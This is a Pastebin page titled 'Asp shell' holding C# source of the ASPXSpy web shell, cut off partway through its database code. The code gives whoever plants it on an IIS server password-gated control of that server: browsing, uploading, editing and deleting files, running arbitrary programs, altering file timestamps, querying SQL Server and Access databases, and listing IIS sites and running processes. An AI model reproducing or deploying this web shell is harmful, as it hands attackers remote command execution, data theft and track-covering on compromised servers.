SHARE
TWEET

Asp shell

indonesian May 24th, 2018 210 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. <%@ Page Language="C#" Debug="true" trace="false" validateRequest="false"  %>
  2. <%@ import Namespace="System.IO" %>
  3. <%@ import Namespace="System.Diagnostics" %>
  4. <%@ import Namespace="System.Data" %>
  5. <%@ import Namespace="System.Data.OleDb" %>
  6. <%@ import Namespace="Microsoft.Win32" %>
  7. <%@ import Namespace="System.Net.Sockets" %>
  8. <%@ Assembly Name="System.DirectoryServices, Version=2.0.0.0, Culture=neutral, PublicKeyToken=B03F5F7F11D50A3A" %>
  9. <%@ import Namespace="System.DirectoryServices" %>
  10. <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
  11.  
  12. <script runat="server">
  13.     public string Password = "c23c5ca43d37a0d53bcedaf4dadcc620";
  14.     public string SessionName = "ASPXSpy";
  15.     public string Bin_Action = "";
  16.     public string Bin_Request = "";
  17.     protected OleDbConnection conn = new OleDbConnection();
  18.     protected OleDbCommand comm = new OleDbCommand();
  19.    
  20.     protected void Page_Load(object sender, EventArgs e)
  21.     {
  22.        
  23.         if (Session[SessionName] != "BIN")
  24.         {
  25.             Bin_login();
  26.         }
  27.         else
  28.         {
  29.             if (!IsPostBack)
  30.             {
  31.                 Bin_main();
  32.             }
  33.             else
  34.             {
  35.              
  36.                   Bin_Action = Request["goaction"];
  37.               if (Bin_Action == "del")
  38.               {
  39.                   Bin_Request = Request["todo"];
  40.                   Bin_Filedel(Bin_Request, 1);
  41.               }
  42.               if (Bin_Action == "change")
  43.               {
  44.                   Bin_Request = Request["todo"];
  45.                   Bin_FileList(Bin_Request);
  46.               }
  47.               if (Bin_Action == "deldir")
  48.               {
  49.                   Bin_Request = Request["todo"];
  50.                   Bin_Filedel(Bin_Request, 2);
  51.               }
  52.               if (Bin_Action == "down")
  53.               {
  54.                   Bin_Request = Request["todo"];
  55.                   Bin_Filedown(Bin_Request);
  56.               }
  57.               if (Bin_Action == "rename")
  58.               {
  59.                   Bin_Request = Request["todo"];
  60.                   Bin_FileRN(Bin_Request, 1);
  61.               }
  62.               if (Bin_Action == "renamedir")
  63.               {
  64.                   Bin_Request = Request["todo"];
  65.                   Bin_FileRN(Bin_Request, 2);
  66.               }
  67.               if (Bin_Action == "showatt")
  68.               {
  69.                   Bin_Request = Request["todo"];
  70.                   Bin_Fileatt(Bin_Request);
  71.               }
  72.               if (Bin_Action == "edit")
  73.               {
  74.                   Bin_Request = Request["todo"];
  75.                   Bin_FileEdit(Bin_Request);
  76.               }
  77.               if (Bin_Action == "postdata")
  78.               {
  79.                  
  80.                   Bin_Request = Request["todo"];
  81.                   Session["Bin_Table"] = Bin_Request;
  82.                   Bin_DataGrid.CurrentPageIndex = 0;
  83.                   Bin_DBstrTextBox.Text = "";
  84.                   Bin_Databind();
  85.               }
  86.               if (Bin_Action == "changedata")
  87.               {
  88.                   Session["Bin_Table"] = null;
  89.                   Bin_Request = Request["todo"];
  90.                   Session["Bin_Option"] = Request["intext"];
  91.                   Bin_Change();
  92.                   Bin_DBinfoLabel.Visible = false;
  93.                   Bin_DBstrTextBox.Text = Bin_Request;
  94.                  
  95.               }
  96.               if (Session["Bin_Table"] != null)
  97.               {
  98.                   Bin_Databind();
  99.               }
  100.                  
  101.             }
  102.         }
  103.     }
  104.     public void Bin_login()
  105.     {
  106.         Bin_LoginPanel.Visible = true;
  107.         Bin_MainPanel.Visible = false;
  108.         Bin_MenuPanel.Visible = false;
  109.         Bin_FilePanel.Visible = false;
  110.         Bin_CmdPanel.Visible = false;
  111.         Bin_SQLPanel.Visible = false;
  112.         Bin_SuPanel.Visible = false;
  113.         Bin_IISPanel.Visible = false;
  114.         Bin_PortPanel.Visible = false;
  115.         Bin_RegPanel.Visible = false;
  116.     }
  117.     public void Bin_main()
  118.     {
  119.         TimeLabel.Text = DateTime.Now.ToString();
  120.         Bin_PortPanel.Visible = false;
  121.         Bin_RegPanel.Visible = false;
  122.         Bin_LoginPanel.Visible = false;
  123.         Bin_MainPanel.Visible = true;
  124.         Bin_MenuPanel.Visible = true;
  125.         Bin_FilePanel.Visible = false;
  126.         Bin_CmdPanel.Visible = false;
  127.         Bin_SQLPanel.Visible = false;
  128.         Bin_SuPanel.Visible = false;
  129.         Bin_IISPanel.Visible = false;
  130.         string ServerIP = "Server IP : "+Request.ServerVariables["LOCAL_ADDR"]+"<br>";
  131.         string HostName = "HostName : " + Environment.MachineName + "<br>";
  132.         string OS = "OS Version : " + Environment.OSVersion + "</br>";
  133.         string IISversion = "IIS Version : " + Request.ServerVariables["SERVER_SOFTWARE"] + "<br>";
  134.         string PATH_INFO = "PATH_TRANSLATED : " + Request.ServerVariables["PATH_TRANSLATED"] + "<br>";
  135.         InfoLabel.Text = "<hr><center><b><U>SYS-INFO</U></B></center>";
  136.         InfoLabel.Text += ServerIP + HostName + OS + IISversion + PATH_INFO + "<hr>";
  137.         InfoLabel.Text += Bin_Process() + "<hr>";
  138.        
  139.     }
  140.     private bool CheckIsNumber(string sSrc)
  141.     {
  142.         System.Text.RegularExpressions.Regex reg = new System.Text.RegularExpressions.Regex(@"^0|[0-9]*[1-9][0-9]*$");
  143.  
  144.         if (reg.IsMatch(sSrc))
  145.         {
  146.             return true;
  147.         }
  148.         else
  149.         {
  150.             return false;
  151.         }
  152.     }
  153.     public string Bin_iisinfo()
  154.     {
  155.         string iisinfo = "";
  156.         string iisstart = "";
  157.         string iisend = "";
  158.         string iisstr = "IIS://localhost/W3SVC";
  159.         int i = 0;
  160.         try
  161.         {
  162.             DirectoryEntry mydir = new DirectoryEntry(iisstr);
  163.             iisstart = "<input type=hidden name=goaction><input type=hidden name=todo><TABLE width=100% align=center border=0><TR align=center><TD width=6%><B>Order</B></TD><TD width=20%><B>IIS_USER</B></TD><TD width=25%><B>Domain</B></TD><TD width=30%><B>Path</B></TD></TR>";
  164.             foreach (DirectoryEntry child in mydir.Children)
  165.             {
  166.                 if (CheckIsNumber(child.Name.ToString()))
  167.                 {
  168.                     string dirstr = child.Name.ToString();
  169.                     string tmpstr = "";
  170.                     DirectoryEntry newdir = new DirectoryEntry(iisstr + "/" + dirstr);
  171.                     DirectoryEntry newdir1 = newdir.Children.Find("root", "IIsWebVirtualDir");
  172.                     iisinfo += "<TR><TD align=center>" + (i = i + 1) + "</TD>";
  173.                     iisinfo += "<TD align=center>" + newdir1.Properties["AnonymousUserName"].Value + "</TD>";
  174.                     iisinfo += "<TD>" + child.Properties["ServerBindings"][0] + "</TD>";
  175.                     iisinfo += "<TD><a href=javascript:Command('change','" + formatpath(newdir1.Properties["Path"].Value.ToString()) + "');>" + newdir1.Properties["Path"].Value + "</a></TD>";
  176.                     iisinfo += "</TR>";
  177.                 }
  178.             }
  179.             iisend = "</TABLE><hr>";
  180.         }
  181.         catch (Exception error)
  182.         {
  183.             Bin_Error(error.Message);
  184.         }
  185.           return iisstart + iisinfo + iisend;
  186.     }
  187.     public string Bin_Process()
  188.     {
  189.         string htmlstr = "<center><b><U>PROCESS-INFO</U></B></center><TABLE width=80% align=center border=0><TR align=center><TD width=20%><B>ID</B></TD><TD align=left width=20%><B>Process</B></TD><TD align=left width=20%><B>MemorySize</B></TD><TD align=center width=10%><B>Threads</B></TD></TR>";
  190.             string prostr = "";
  191.             string htmlend = "</TR></TABLE>";
  192.             try
  193.             {
  194.                 Process[] myprocess = Process.GetProcesses();
  195.                 foreach (Process p in myprocess)
  196.                 {
  197.                     prostr += "<TR><TD align=center>" + p.Id.ToString() + "</TD>";
  198.                     prostr += "<TD align=left>" + p.ProcessName.ToString() + "</TD>";
  199.                     prostr += "<TD align=left>" + p.WorkingSet.ToString() + "</TD>";
  200.                     prostr += "<TD align=center>" + p.Threads.Count.ToString() + "</TD>";
  201.                 }
  202.             }
  203.             catch (Exception Error)
  204.             {
  205.                 Bin_Error(Error.Message);
  206.             }
  207.         return htmlstr + prostr + htmlend;
  208.     }
  209.     protected void LoginButton_Click(object sender, EventArgs e)
  210.     {
  211.         string MD5Pass = FormsAuthentication.HashPasswordForStoringInConfigFile(passtext.Text,"MD5").ToLower();
  212.         if (MD5Pass == Password)
  213.         {
  214.             Session[SessionName] = "BIN";
  215.             Bin_main();
  216.         }
  217.         else
  218.         {
  219.             Bin_login();
  220.         }
  221.     }
  222.  
  223.     protected void LogoutButton_Click(object sender, EventArgs e)
  224.     {
  225.         Session.Abandon();
  226.         Bin_login();
  227.     }
  228.  
  229.     protected void FileButton_Click(object sender, EventArgs e)
  230.     {
  231.         Bin_LoginPanel.Visible = false;
  232.         Bin_MenuPanel.Visible = true;
  233.         Bin_MainPanel.Visible = false;
  234.         Bin_FilePanel.Visible = true;
  235.         Bin_CmdPanel.Visible = false;
  236.         Bin_SQLPanel.Visible = false;
  237.         Bin_SuPanel.Visible = false;
  238.         Bin_IISPanel.Visible = false;
  239.         Bin_PortPanel.Visible = false;
  240.         Bin_RegPanel.Visible = false;
  241.         Bin_upTextBox.Text = formatpath(Server.MapPath("."));
  242.         Bin_CopyTextBox.Text = formatpath(Server.MapPath("."));
  243.         Bin_upTextBox.Text = formatpath(Server.MapPath("."));
  244.         Bin_FileList(Server.MapPath("."));
  245.        
  246.     }
  247.  
  248.     protected void MainButton_Click(object sender, EventArgs e)
  249.     {
  250.         Bin_main();
  251.     }
  252.     public void Bin_DriveList()
  253.     {
  254.         string file = "<input type=hidden name=goaction><input type=hidden name=todo>";
  255.         file += "<hr>Drives : ";
  256.         string[] drivers = Directory.GetLogicalDrives();
  257.         for (int i = 0; i < drivers.Length; i++)
  258.         {
  259.             file += "<a href=javascript:Command('change','" + formatpath(drivers[i]) + "');>" + drivers[i] + "</a>&nbsp;";
  260.         }
  261.         file += "    WebRoot :  <a href=javascript:Command('change','" + formatpath(Server.MapPath(".")) + "');>" + Server.MapPath(".") + "</a>";
  262.         Bin_FileLabel.Text = file;
  263.     }
  264.  
  265.     public void Bin_FileList(string Bin_path)
  266.     {
  267.         Bin_FilePanel.Visible = true;
  268.         Bin_CreateTextBox.Text = "";
  269.         Bin_CopytoTextBox.Text = "";
  270.         Bin_CopyTextBox.Text = Bin_path;
  271.         Bin_upTextBox.Text = Bin_path;
  272.         Bin_IISPanel.Visible = false;
  273.         Bin_DriveList();
  274.         string tmpstr="";
  275.         string Bin_Filelist = Bin_FilelistLabel.Text;
  276.         Bin_Filelist = "<hr>";
  277.         Bin_Filelist += "<table width=90% border=0 align=center>";
  278.         Bin_Filelist += "<tr><td width=40%><b>Name</b></td><td width=15%><b>Size(Byte)</b></td>";
  279.         Bin_Filelist += "<td width=25%><b>ModifyTime</b></td><td width=25%><b>Operate</b></td></tr>";
  280.         try
  281.         {
  282.             Bin_Filelist += "<tr><td>";
  283.             string parstr = "";
  284.             if (Bin_path.Length < 4)
  285.             {
  286.                 parstr = formatpath(Bin_path);
  287.              
  288.             }
  289.             else
  290.             {
  291.                 parstr =  formatpath(Directory.GetParent(Bin_path).ToString());
  292.              
  293.             }
  294.             Bin_Filelist += "<i><b><a href=javascript:Command('change','" + parstr + "');>|Parent Directory|</a></b></i>";
  295.             Bin_Filelist += "</td></tr>";
  296.            
  297.             DirectoryInfo Bin_dir = new DirectoryInfo(Bin_path);
  298.             foreach (DirectoryInfo Bin_folder in Bin_dir.GetDirectories())
  299.             {
  300.                 string foldername = formatpath(Bin_path) + "/" + formatfile(Bin_folder.Name);
  301.                 tmpstr += "<tr>";
  302.                 tmpstr += "<td><a href=javascript:Command('change','" + foldername + "')>" + Bin_folder.Name + "</a></td><td><b><i>&lt;dir&gt;</i></b></td><td>" + Directory.GetLastWriteTime(Bin_path + "/" + Bin_folder.Name) + "</td><td><a href=javascript:Command('renamedir','" + foldername + "');>Ren</a>|<a href=javascript:Command('showatt','" + foldername + "/');>Att</a>|<a href=javascript:Command('deldir','" + foldername + "');>Del</a></td>";
  303.                 tmpstr += "</tr>";
  304.             }
  305.             foreach (FileInfo Bin_file in Bin_dir.GetFiles())
  306.             {
  307.                 string filename = formatpath(Bin_path) + "/" + formatfile(Bin_file.Name);
  308.                 tmpstr += "<tr>";
  309.                 tmpstr += "<td>" + Bin_file.Name + "</td><td>" + Bin_file.Length + "</td><td>" + Directory.GetLastWriteTime(Bin_path + "/" + Bin_file.Name) + "</td><td><a href=javascript:Command('edit','" + filename + "');>Edit</a>|<a href=javascript:Command('rename','" + filename + "');>Ren</a>|<a href=javascript:Command('down','" + filename + "');>Down</a>|<a href=javascript:Command('showatt','" + filename + "');>Att</a>|<a href=javascript:Command('del','" + filename + "');>Del</a></td>";
  310.                 tmpstr += "</tr>";
  311.             }
  312.             tmpstr += "</talbe>";
  313.         }
  314.         catch (Exception Error)
  315.         {
  316.             Bin_Error(Error.Message);
  317.  
  318.         }
  319.  
  320.         Bin_FilelistLabel.Text = Bin_Filelist + tmpstr;
  321.     }
  322.     public void Bin_Filedel(string instr,int type)
  323.     {
  324.         try
  325.         {
  326.             if (type == 1)
  327.             {
  328.                 File.Delete(instr);
  329.             }
  330.             if (type == 2)
  331.             {
  332.                 foreach (string tmp in Directory.GetFileSystemEntries(instr))
  333.                 {
  334.                     if (File.Exists(tmp))
  335.                     {
  336.                         File.Delete(tmp);
  337.                     }
  338.                     else
  339.                     {
  340.                         Bin_Filedel(tmp, 2);
  341.                     }  
  342.                 }
  343.                 Directory.Delete(instr);  
  344.             }
  345.         }
  346.         catch (Exception Error)
  347.         {
  348.             Bin_Error(Error.Message);
  349.         }
  350.         Bin_FileList(Bin_upTextBox.Text);
  351.     }
  352.     public void Bin_FileRN(string instr,int type)
  353.     {
  354.         try
  355.         {
  356.             if (type == 1)
  357.             {
  358.                 string[] array = instr.Split(',');
  359.  
  360.                 File.Move(array[0], array[1]);
  361.             }
  362.             if (type == 2)
  363.             {
  364.                 string[] array = instr.Split(',');
  365.                 Directory.Move(array[0], array[1]);
  366.             }
  367.         }
  368.         catch (Exception Error)
  369.         {
  370.             Bin_Error(Error.Message);
  371.         }
  372.         Bin_FileList(Bin_upTextBox.Text);
  373.     }
  374.     public void Bin_Filedown(string instr)
  375.     {
  376.         try
  377.         {
  378.             FileStream MyFileStream = new FileStream(instr, FileMode.Open, FileAccess.Read, FileShare.Read);
  379.             long FileSize = MyFileStream.Length;
  380.             byte[] Buffer = new byte[(int)FileSize];
  381.             MyFileStream.Read(Buffer, 0, (int)FileSize);
  382.             MyFileStream.Close();
  383.             Response.AddHeader("Content-Disposition", "attachment;filename=" + instr);
  384.             Response.Charset = "UTF-8";
  385.             Response.ContentType = "application/octet-stream";
  386.             Response.BinaryWrite(Buffer);
  387.             Response.Flush();
  388.             Response.End();
  389.         }
  390.         catch (Exception Error)
  391.         {
  392.             Bin_Error(Error.Message);
  393.         }
  394.        
  395.     }
  396.     public void Bin_Fileatt(string instr)
  397.     {
  398.         Bin_AttPanel.Visible = true;
  399.         Bin_FilePanel.Visible = true;
  400.         try
  401.         {
  402.             string Att = File.GetAttributes(instr).ToString();
  403.             Bin_ReadOnlyCheckBox.Checked = false;
  404.             Bin_SystemCheckBox.Checked = false;
  405.             Bin_HiddenCheckBox.Checked = false;
  406.             Bin_ArchiveCheckBox.Checked = false;
  407.  
  408.             if (Att.LastIndexOf("ReadOnly") != -1)
  409.             {
  410.                 Bin_ReadOnlyCheckBox.Checked = true;
  411.             }
  412.             if (Att.LastIndexOf("System") != -1)
  413.             {
  414.                 Bin_SystemCheckBox.Checked = true;
  415.             }
  416.             if (Att.LastIndexOf("Hidden") != -1)
  417.             {
  418.                 Bin_HiddenCheckBox.Checked = true;
  419.             }
  420.             if (Att.LastIndexOf("Archive") != -1)
  421.             {
  422.                 Bin_ArchiveCheckBox.Checked = true;
  423.             }
  424.             Bin_CreationTimeTextBox.Text = File.GetCreationTime(instr).ToString();
  425.             Bin_LastWriteTimeTextBox.Text = File.GetLastWriteTime(instr).ToString();
  426.             Bin_AccessTimeTextBox.Text = File.GetLastAccessTime(instr).ToString();
  427.         }
  428.         catch (Exception Error)
  429.         {
  430.             Bin_Error(Error.Message);
  431.         }
  432.         Bin_AttLabel.Text = instr;
  433.         Session["FileName"] = instr;
  434.         Bin_DriveList();
  435.     }
  436.     public void Bin_FileEdit(string instr)
  437.     {
  438.         Bin_FilePanel.Visible = true;
  439.         Bin_EditPanel.Visible = true;
  440.         Bin_DriveList();
  441.         Bin_EditpathTextBox.Text = instr;
  442.         StreamReader SR = new StreamReader(instr, Encoding.Default);
  443.         Bin_EditTextBox.Text = SR.ReadToEnd();
  444.         SR.Close();
  445.     }
  446.     protected void Bin_upButton_Click(object sender, EventArgs e)
  447.     {
  448.        
  449.             string uppath = Bin_upTextBox.Text;
  450.             if (uppath.Substring(uppath.Length - 1, 1) != @"/")
  451.             {
  452.                 uppath = uppath + @"/";
  453.             }
  454.             try
  455.             {
  456.                 Bin_UpFile.PostedFile.SaveAs(uppath + Path.GetFileName(Bin_UpFile.Value));
  457.                
  458.             }
  459.             catch (Exception error)
  460.             {
  461.                 Bin_Error(error.Message);
  462.             }
  463.             Bin_FileList(uppath);
  464.     }
  465.     public void Bin_Error(string error)
  466.     {
  467.         Bin_ErrorLabel.Text = "Error : " + error;
  468.     }
  469.     public string formatpath(string instr)
  470.     {
  471.         instr = instr.Replace(@"\", "/");
  472.         if (instr.Length < 4)
  473.         {
  474.             instr = instr.Replace(@"/", "");
  475.         }
  476.         if (instr.Length == 2)
  477.         {
  478.             instr = instr + @"/";
  479.         }
  480.         instr = instr.Replace(" ", "%20");
  481.         return instr;
  482.     }
  483.     public string formatfile(string instr)
  484.     {
  485.         instr = instr.Replace(" ", "%20");
  486.         return instr;
  487.      
  488.     }
  489.     protected void Bin_GoButton_Click(object sender, EventArgs e)
  490.     {
  491.         Bin_FileList(Bin_upTextBox.Text);
  492.     }
  493.  
  494.     protected void Bin_NewFileButton_Click(object sender, EventArgs e)
  495.     {
  496.         string newfile = Bin_CreateTextBox.Text;
  497.         string filepath = Bin_upTextBox.Text;
  498.         filepath = filepath + "/" + newfile;
  499.         try
  500.         {
  501.             StreamWriter sw = new StreamWriter(filepath, true, Encoding.Default);
  502.            
  503.         }
  504.         catch (Exception Error)
  505.         {
  506.             Bin_Error(Error.Message);
  507.         }
  508.         Bin_FileList(Bin_upTextBox.Text);
  509.     }
  510.  
  511.     protected void Bin_NewdirButton_Click(object sender, EventArgs e)
  512.     {
  513.         string dirpath = Bin_upTextBox.Text;
  514.         string newdir = Bin_CreateTextBox.Text;
  515.         newdir = dirpath + "/" + newdir;
  516.         try
  517.         {
  518.             Directory.CreateDirectory(newdir);
  519.            
  520.         }
  521.         catch(Exception Error)
  522.         {
  523.             Bin_Error(Error.Message);
  524.         }
  525.         Bin_FileList(Bin_upTextBox.Text);
  526.     }
  527.  
  528.     protected void Bin_CopyButton_Click(object sender, EventArgs e)
  529.     {
  530.         string copystr = Bin_CopyTextBox.Text;
  531.         string copyto = Bin_CopytoTextBox.Text;
  532.         try
  533.         {
  534.             File.Copy(copystr, copyto);
  535.         }
  536.         catch (Exception Error)
  537.         {
  538.              Bin_Error(Error.Message);
  539.         }
  540.         Bin_CopytoTextBox.Text = "";
  541.         Bin_FileList(Bin_upTextBox.Text);
  542.     }
  543.  
  544.     protected void Bin_CutButton_Click(object sender, EventArgs e)
  545.     {
  546.         string copystr = Bin_CopyTextBox.Text;
  547.         string copyto = Bin_CopytoTextBox.Text;
  548.         try
  549.         {
  550.             File.Move(copystr, copyto);
  551.         }
  552.         catch (Exception Error)
  553.         {
  554.             Bin_Error(Error.Message);
  555.         }
  556.         Bin_CopytoTextBox.Text = "";
  557.         Bin_FileList(Bin_upTextBox.Text);
  558.     }
  559.  
  560.     protected void Bin_SetButton_Click(object sender, EventArgs e)
  561.     {
  562.         try
  563.         {
  564.             string FileName = Session["FileName"].ToString();
  565.             File.SetAttributes(FileName, FileAttributes.Normal);
  566.             if (Bin_ReadOnlyCheckBox.Checked)
  567.             {
  568.                 File.SetAttributes(FileName, FileAttributes.ReadOnly);
  569.             }
  570.  
  571.             if (Bin_SystemCheckBox.Checked)
  572.             {
  573.                 File.SetAttributes(FileName, File.GetAttributes(FileName) | FileAttributes.System);
  574.             }
  575.             if (Bin_HiddenCheckBox.Checked)
  576.             {
  577.                 File.SetAttributes(FileName, File.GetAttributes(FileName) | FileAttributes.Hidden);
  578.             }
  579.             if (Bin_ArchiveCheckBox.Checked)
  580.             {
  581.                 File.SetAttributes(FileName, File.GetAttributes(FileName) | FileAttributes.Archive);
  582.             }
  583.             if (FileName.Substring(FileName.Length - 1, 1) == "/")
  584.             {
  585.                 Directory.SetCreationTime(FileName, Convert.ToDateTime(Bin_CreationTimeTextBox.Text));
  586.                 Directory.SetLastWriteTime(FileName, Convert.ToDateTime(Bin_LastWriteTimeTextBox.Text));
  587.                 Directory.SetLastAccessTime(FileName, Convert.ToDateTime(Bin_AccessTimeTextBox.Text));
  588.             }
  589.             else
  590.             {
  591.                 File.SetCreationTime(FileName, Convert.ToDateTime(Bin_CreationTimeTextBox.Text));
  592.                 File.SetLastWriteTime(FileName, Convert.ToDateTime(Bin_LastWriteTimeTextBox.Text));
  593.                 File.SetLastAccessTime(FileName, Convert.ToDateTime(Bin_AccessTimeTextBox.Text));
  594.             }
  595.         }
  596.         catch (Exception Error)
  597.         {
  598.             Bin_Error(Error.Message);
  599.         }
  600.         Bin_FileList(Bin_upTextBox.Text);
  601.         Response.Write("<script>alert('Success!')</sc" + "ript>");
  602.     }
  603.  
  604.     protected void Bin_EditButton_Click(object sender, EventArgs e)
  605.     {
  606.         try
  607.         {
  608.             StreamWriter SW = new StreamWriter(Bin_EditpathTextBox.Text, false, Encoding.Default);
  609.             SW.Write(Bin_EditTextBox.Text);
  610.             SW.Close();
  611.         }
  612.         catch (Exception Error)
  613.         {
  614.             Bin_Error(Error.Message);
  615.         }
  616.         Bin_FileList(Bin_upTextBox.Text);
  617.         Response.Write("<script>alert('Success!')</sc" + "ript>");
  618.        
  619.     }
  620.    
  621.     protected void Bin_BackButton_Click(object sender, EventArgs e)
  622.     {
  623.         Bin_FileList(Bin_upTextBox.Text);
  624.     }
  625.  
  626.     protected void Bin_SbackButton_Click(object sender, EventArgs e)
  627.     {
  628.         Bin_FileList(Bin_upTextBox.Text);
  629.     }
  630.  
  631.     protected void Bin_CmdButton_Click(object sender, EventArgs e)
  632.     {
  633.         Bin_MenuPanel.Visible = true;
  634.         Bin_LoginPanel.Visible = false;
  635.         Bin_CmdPanel.Visible = true;
  636.         Bin_SQLPanel.Visible = false;
  637.         Bin_CmdLabel.Text = "";
  638.         Bin_SuPanel.Visible = false;
  639.         Bin_IISPanel.Visible = false;
  640.         Bin_RegPanel.Visible = false;
  641.         Bin_PortPanel.Visible = false;
  642.     }
  643.  
  644.     protected void Bin_RunButton_Click(object sender, EventArgs e)
  645.     {
  646.         try
  647.         {
  648.             Process Cmdpro = new Process();
  649.             Cmdpro.StartInfo.FileName = Bin_CmdPathTextBox.Text;
  650.             Cmdpro.StartInfo.Arguments = Bin_CmdShellTextBox.Text;
  651.             Cmdpro.StartInfo.UseShellExecute = false;
  652.             Cmdpro.StartInfo.RedirectStandardInput = true;
  653.             Cmdpro.StartInfo.RedirectStandardOutput = true;
  654.             Cmdpro.StartInfo.RedirectStandardError = true;
  655.             Cmdpro.Start();
  656.             string cmdstr = Cmdpro.StandardOutput.ReadToEnd();
  657.             cmdstr = cmdstr.Replace("<", "&lt;");
  658.             cmdstr = cmdstr.Replace(">", "&gt;");
  659.             Bin_CmdLabel.Text = "<hr><div id=\"cmd\"><pre>" + cmdstr + "</pre></div>";
  660.         }
  661.         catch (Exception Error)
  662.         {
  663.             Bin_Error(Error.Message);
  664.         }  
  665.     }
  666.  
  667.     protected void Bin_SQLButton_Click(object sender, EventArgs e)
  668.     {
  669.         Bin_CmdPanel.Visible = false;
  670.         Bin_SQLPanel.Visible = true;
  671.         Bin_LoginPanel.Visible = false;
  672.         Bin_MenuPanel.Visible = true;
  673.         Bin_AccPanel.Visible = false;
  674.         Bin_Scroll.Visible = false;
  675.         Bin_DBmenuPanel.Visible = false;
  676.         Bin_dirPanel.Visible = false;
  677.         Bin_SuPanel.Visible = false;
  678.         Bin_IISPanel.Visible = false;
  679.         Bin_PortPanel.Visible = false;
  680.         Bin_RegPanel.Visible =false;
  681.     }
  682.  
  683.     protected void Bin_SQLRadioButton_CheckedChanged(object sender, EventArgs e)
  684.     {
  685.         Session["Bin_Table"] = null;
  686.         Bin_SQLconnTextBox.Text = "server=localhost;UID=sa;PWD=;database=master;Provider=SQLOLEDB";
  687.         Bin_SQLRadioButton.Checked = true;
  688.         Bin_AccRadioButton.Checked = false;
  689.         Bin_AccPanel.Visible = false;
  690.         Bin_DataGrid.Visible = false;
  691.         Bin_Scroll.Visible = false;
  692.         Bin_DBmenuPanel.Visible = false;
  693.         Bin_dirPanel.Visible = false;
  694.     }
  695.  
  696.     protected void Bin_AccRadioButton_CheckedChanged(object sender, EventArgs e)
  697.     {
  698.         Session["Bin_Table"] = null;
  699.         Bin_SQLconnTextBox.Text = @"Provider=Microsoft.Jet.OLEDB.4.0;Data Source=E:\wwwroot\database.mdb";
  700.         Bin_SQLRadioButton.Checked = false;
  701.         Bin_AccRadioButton.Checked = true;
  702.         Bin_DBmenuPanel.Visible = false;
  703.         Bin_AccPanel.Visible = false;
  704.         Bin_DataGrid.Visible = false;
  705.         Bin_Scroll.Visible = false;
  706.         Bin_dirPanel.Visible = false;
  707.      
  708.     }
  709.     protected void OpenConnection()
  710.     {
  711.         if (conn.State == ConnectionState.Closed)
  712.         {
  713.             try
  714.             {
  715.                 conn.ConnectionString = Bin_SQLconnTextBox.Text;
  716.                 comm.Connection = conn;
  717.                 conn.Open();
  718.             }
  719.             catch (Exception Error)
  720.             {
  721.                 Bin_Error(Error.Message);
  722.             }
  723.         }
  724.     }
  725.     protected void CloseConnection()
  726.     {
  727.         if (conn.State == ConnectionState.Open)
  728.             conn.Close();
  729.             conn.Dispose();
  730.             comm.Dispose();
  731.     }
  732.     public DataTable Bin_DataTable(string sqlstr)
  733.     {
  734.         OleDbDataAdapter da = new OleDbDataAdapter();
  735.         DataTable datatable = new DataTable();
  736.         try
  737.         {
  738.             OpenConnection();
  739.             comm.CommandType = CommandType.Text;
  740.             comm.CommandText = sqlstr;
  741.             da.SelectCommand = comm;
  742.             da.Fill(datatable);
  743.         }
  744.         catch (Exception)
  745.         {
  746.         }
  747.         finally
  748.         {
  749.             CloseConnection();
  750.         }
  751.         return datatable;
  752.     }
  753.     protected void SQL_SumbitButton_Click(object sender, EventArgs e)
  754.     {
  755.         try
  756.         {
  757.             Session["Bin_Table"] = null;
  758.             Bin_DataGrid.CurrentPageIndex = 0;
  759.             Bin_DataGrid.AllowPaging = true;
  760.             if (Bin_SQLRadioButton.Checked)
  761.             {
  762.                 Bin_DBmenuPanel.Visible = true;
  763.                 Bin_DBinfoLabel.Visible = true;
  764.                 Bin_AccPanel.Visible = false;
  765.                 Bin_Scroll.Visible = false;
  766.                 Bin_dirPanel.Visible = false;
  767.                 OpenConnection();
  768.                 DataTable ver = Bin_DataTable(@"SELECT @@VERSION");
  769.                 DataTable dbs = Bin_DataTable(@"SELECT name FROM master.dbo.sysdatabases");
  770.                 DataTable cdb = Bin_DataTable(@"SELECT DB_NAME()");
  771.                 DataTable rol = Bin_DataTable(@"SELECT IS_SRVROLEMEMBER('sysadmin')");
  772.                 DataTable owner = Bin_DataTable(@"SELECT IS_MEMBER('db_owner')");
  773.                 string dbo = "";
  774.                 if (owner.Rows[0][0].ToString() == "1")
  775.                 {
  776.                     dbo = "db_owner";
  777.                 }
  778.                 else
  779.                 {
  780.                     dbo = "public";
  781.                 }
  782.                 if (rol.Rows[0][0].ToString() == "1")
  783.                 {
  784.                     dbo = "<font color=blue>sa</font>";
  785.                 }
  786.                 string db_info = "";
  787.                 db_info = "<i><b><font color=red>SQLversion</font> : </b></i>" + ver.Rows[0][0].ToString() + "<br><hr>";
  788.                 string db_name = "";
  789.                 for (int i = 0; i < dbs.Rows.Count; i++)
  790.                 {
  791.                     db_name += dbs.Rows[i][0].ToString().Replace(cdb.Rows[0][0].ToString(), "<font color=blue>" + cdb.Rows[0][0].ToString() + "</font>") + "&nbsp;|&nbsp;";
  792.                 }
  793.                 db_info += "<i><b><font color=red>DataBase</font> : </b></i><div style=\"width:760px;word-break:break-all\">" + db_name + "<br><div><hr>";
  794.                 db_info += "<i><b><font color=red>SRVROLEMEMBER</font></i></b> : " + dbo + "<hr>";
  795.                 Bin_DBinfoLabel.Text = db_info;
  796.             }
  797.             if (Bin_AccRadioButton.Checked)
  798.             {
  799.                 Bin_DataGrid.Visible = false;
  800.                 Bin_SAexecButton.Visible = false;
  801.                 Bin_Accbind();
  802.             }
  803.         }
  804.         catch (Exception E)
  805.         {
  806.             Bin_Error(E.Message);
  807.         }
  808.     }
  809.     protected void Bin_Accbind()
  810.     {
  811.         try
  812.         {
  813.             Bin_DBmenuPanel.Visible = false;
  814.             Bin_AccPanel.Visible = true;
  815.             OpenConnection();
  816.             DataTable acctable = new DataTable();
  817.             acctable = conn.GetOleDbSchemaTable(OleDbSchemaGuid.Tables, new Object[] { null, null, null, "Table" });
  818.             string accstr = "<input type=hidden name=goaction><input type=hidden name=todo>";
  819.             accstr += "Tables Count : " + acctable.Rows.Count + "<br>Please select a database : <SELECT onchange=if(this.value!='')Command('postdata',this);>";
  820.             for (int i = 0; i < acctable.Rows.Count; i++)
  821.             {
  822.                 accstr += "<option value=" + acctable.Rows[i].ItemArray[2].ToString() + ">" + acctable.Rows[i].ItemArray[2].ToString() + "</option>";
